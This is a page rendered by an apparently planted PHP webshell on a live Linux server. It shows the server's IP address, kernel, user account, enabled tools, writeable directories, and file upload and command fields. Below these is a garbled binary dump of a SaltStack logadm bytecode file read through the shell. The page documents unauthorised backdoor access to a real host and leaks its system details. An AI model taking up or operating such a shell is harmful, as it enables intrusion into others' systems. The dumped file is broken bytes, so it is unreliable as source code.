403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/logadm.cpython-310.pyc
o

;j��@sHdZddlZddlZddlZe�e�ZdZdd�Z	dd�Z
d
dd	�ZdS)a
Management of logs using Solaris logadm.

:maintainer:    Jorge Schrauwen <sjorge@blackdot.be>
:maturity:      new
:depends:       salt.modulus.logadm
:platform:      Oracle Solaris, Sun Solaris, illumos

.. versionadded:: 2017.7.0

.. code-block:: yaml

    .. note::
        TODO

�NZlogadmcCsdtvrdSdd�t�fS)z5
    Provides logadm state if we have the module
    �logadm.list_confTFzB{} state module can only if the logadm execution module is present)�__salt__�format�__virtualname__�rr�F/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/logadm.py�__virtual__s��rcKs�|iddd�}tjjjdi|��}d|vr||d<d|vs!|ds6d|vr6|dr6|d�d�r6|d|d<d|vs>|dsHd|d<d	|d
<|Std�}|d|vrwtdd|vr^|dn|d�}d
|v|d<|dsw|d
|d
<i|d<td|fi|��}d
|v|d<|dr�td�}d�|d|vr�dnd�|d
<|d|vr�tjj�||d||d��	�D]\}}|d|d|<q�n||d|d<t
�|d�|S|d
|d
<|d|vr�|ddi|d<|Si|d<|S)z�
    Add a log to the logadm configuration

    name : string
        alias for entryname

    kwargs : boolean|string|int
        optional additional flags and parameters

    N���name�changes�result�comment�	entryname�log_file�/Fr
zMissing log_file attribute!rr�
logadm.remove�Errorrz
logadm.rotatezLog configuration {}�updatedZadded�newr)�salt�utils�argsZclean_kwargs�
startswithrr�dataZ
compare_dicts�items�log�debug)r�kwargs�retZ
old_config�resZ
new_config�key�valrrr�rotate+sZ(
��
��
��
��r#cCs(|iddd�}td�}|s3|�d�r|}d}n|D]}d||vr2||d|kr2||d}nq|sV|D]}d||vrU||d|krUd||vrS||d}nq7||vr�td|ra|n|�}d	|v|d
<|d
r~d|�d�|d
<d|d|<|S|d	|d
<|Sd|d
<d|�d�|d
<|S)z�
    Remove a log from the logadm configuration

    name : string
        entryname
    log_file : string
        (optional) log file path

    .. note::
        If log_file is specified it will be used instead of the entry name.

    Nr	r
rrrrrrr
zConfiguration for z	 removed.rrTzNo configuration for z	 present.)rr)rrrZconfigrr rrr�removess<

����r$)N)�__doc__�loggingZsalt.utils.argsrZsalt.utils.data�	getLogger�__name__rrrr#r$rrrr�<module>s
H

Youez - 2016 - github.com/yon3zu
LinuXploit